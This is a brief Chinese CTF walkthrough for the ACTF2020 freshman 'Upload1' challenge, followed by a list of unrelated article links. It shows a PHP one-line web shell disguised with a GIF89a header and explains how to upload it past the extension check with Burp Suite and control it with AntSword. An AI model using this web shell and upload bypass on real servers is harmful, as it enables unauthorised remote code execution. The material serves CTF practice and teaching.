当前位置： 首页 > article >正文

[ACTF2020 新生赛]Upload1

article 2024/11/19 22:42:22

1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马

GIF89a? <script language="php">eval($_REQUEST[1])</script>

2、使用bp抓包修改后缀，点击发送

3、不关浏览器的代理，在bp中将该包放行

4、用蚁剑连接

5、在根目录中找到flag


http://www.kler.cn/a/301314.html

相关文章：

  • 【Qt】QTreeWidget的简单使用
  • 【EasyExcel】复杂导出操作-自定义颜色样式等（版本3.1.x）
  • Mac os 系统上如何开启远程登录的 ssh 22 端口
  • MySQL的聚簇索引和二级索引
  • 笔记｜M芯片MAC (arm64) docker上使用 export / import / commit 构建amd64镜像
  • springboot企业级项目常用的pom依赖
  • 探索Python世界的隐藏宝石：Pika库的神秘力量
  • 基于JavaWeb开发的Java+SpringBoot+vue+element实现汽车订票管理平台详细设计和实现
  • 个人学习笔记7-1：动手学深度学习pytorch版-李沐
  • 正则表达式--python
  • C 盘突然爆满，罪魁祸首竟然是 ...... ！
  • 并发编程（八）
  • 智能的PHP开发工具PhpStorm v2024.2全新发布——支持日志文件
  • 【Jupyter Notebook】汉化
  • 使用 Python-docx 进行 Word 文档操作
  • 最新HTML5中的视频和音频讲解
  • Computer Exercise
  • java-redis-穿透
  • .NET 一款支持NTLM实现横向移动的工具
  • Python实现模糊逻辑算法
  • 今年白银市场的供需关系矛盾
  • Java教程：SE进阶【十万字详解】（上）
  • Android Environment 获取的路径问题
  • MySQL灾难恢复策略：构建稳健的备份与恢复机制
  • vue3项目npm i安装依赖一直转圈或安装失败解决方法~
  • CCF刷题计划——矩阵运算（同时转置+乘法）